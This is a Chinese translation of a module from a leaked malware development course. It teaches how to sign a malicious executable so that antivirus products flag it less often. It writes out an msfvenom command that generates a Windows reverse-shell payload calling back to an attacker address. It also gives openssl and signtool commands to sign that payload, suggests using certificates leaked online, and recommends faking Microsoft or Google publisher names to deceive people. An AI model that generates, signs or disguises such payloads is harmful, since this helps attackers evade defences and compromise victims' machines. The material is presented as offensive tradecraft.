0%
毅种循环

模块 32 - 恶意软件二进制签名

恶意软件开发课程 - 恶意软件二进制签名


模块 32 - 恶意软件二进制签名#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

恶意软件二进制签名#

简介#

当用户试图从互联网下载合法的可执行文件时,它通常由公司签名,以此向用户证明它是可信的可执行文件。虽然安全解决方案仍然会扫描可执行文件,但如果二进制文件未签名,将会受到更严格的审查。

本模块将演练签署恶意二进制文件所需的步骤,这可以增加其可信度。该模块将演示在通过 Msfvenom 生成的可执行文件上的二进制签名:msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o maldev.exe

💡 初学者提示:为什么签名很重要?

数字签名就像是给文件盖了一个“防伪印章”。

  • 完整性:证明文件自签名后未被篡改。
  • 真实性:证明文件确实来自声称的发布者。
  • 信任:Windows SmartScreen 和 AV 引擎通常对签名文件更“宽容”。签名并不意味着文件是安全的,但它增加了“它是合法的”概率。

测试二进制文件检测率#

在开始之前,将二进制文件上传到 VirusTotal 以查看签名之前的检测率。检测率相当高,71 个供应商中有 52 个将文件标记为恶意文件。

图片
图片

获取证书#

有几种方法可以获取证书:

  • 最理想的方法是购买来自受信任供应商(如 DigiCert)的证书。
    • ⚠️ 警告:购买证书需要身份验证,如果你用来签恶意软件,证书会被吊销,且你可能会被追踪。
  • 另一种可能性是使用自签名证书。虽然这不如受信任的证书有效,但本模块将证明它仍然会对检测率产生影响。
  • 最后一个选择是找到在互联网上泄漏的有效证书(例如在 Github 上)。确保使用这些泄漏的证书不违反法律。

生成证书#

本演示将使用自签名证书路线。这需要 Kali Linux 中预置的 openssl

要创建证书,首先生成所需的 pem 文件。该工具需要包含在证书内的信息。

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365
bash

图片
图片

接下来,使用 pem 文件生成 pfx 文件。该工具将要求输入密钥短语。

openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx
bash

💡 初学者提示:文件格式解释

  • PEM (.pem): 通常是 Base64 编码的文本文件,包含证书或私钥。
  • PFX / PKCS#12 (.pfx, .p12): 一种二进制格式,通常将证书私钥打包在一起,并用密码保护。Windows 签名工具 signtool 需要这种格式。

图片
图片

签署二进制文件#

签署二进制文件需要 signtool.exe,它是 Windows SDK 的一部分。可以在这里安装。完成后,可以使用以下命令对二进制文件进行签名。

signtool sign /f sign.pfx /p <pfx-password> /t http://timestamp.digicert.com /fd sha256 binary.exe
bash

📚 知识扩展:时间戳服务器 (/t)

命令中的 /t http://timestamp.digicert.com 指定了时间戳服务器。

  • 作用:证明在签名那一刻,证书是有效的。
  • 好处:即使将来证书过期了,只要在过期前签过名并盖了时间戳,该签名在 Windows 眼里依然有效。如果不加时间戳,证书过期后签名就失效了。

查看二进制文件的属性现在将显示“数字签名”选项卡,其中显示了用于签署二进制文件的证书的详细信息。它还显示证书不受信任的警告。

图片
图片

测试签名后的二进制文件检测率#

将二进制文件重新上传到 VirusTotal 以检查对检测率是否有影响。不出所料,标记该文件的安全解决方案数量从 52 个下降到 47 个。起初,这看起来可能不是检测率的大幅下降,但必须强调的是,除了使用证书对其进行签名外,没有对文件进行任何更改。

图片
图片


🎯 总结#

在本模块中,我们学习了:

  1. 数字签名:如何使用 OpenSSL 生成自签名证书。
  2. SignTool:如何使用微软官方工具 signtool.exe 对 EXE 进行签名。
  3. 效果立竿见影:即使是不可信的自签名证书,也能降低 VT 的查杀率。

💡 关键要点

  • 签名是黑客工具箱里的必备技能。
  • 受信任证书 > 泄漏证书 > 自签名证书 > 无签名
  • 在红队行动中,尽量模仿合法软件的签名信息(如伪造 Microsoft 或 Google 的证书名称,虽然无法通过验证,但在粗略查看时具有欺骗性)。

📚 下一步学习

下一个模块将介绍 Process Enumeration - EnumProcesses。我们回到正轨,学习另一种枚举进程的方法(除了之前的 CreateToolhelp32Snapshot),因为多掌握一种方法就多一种规避检测的手段!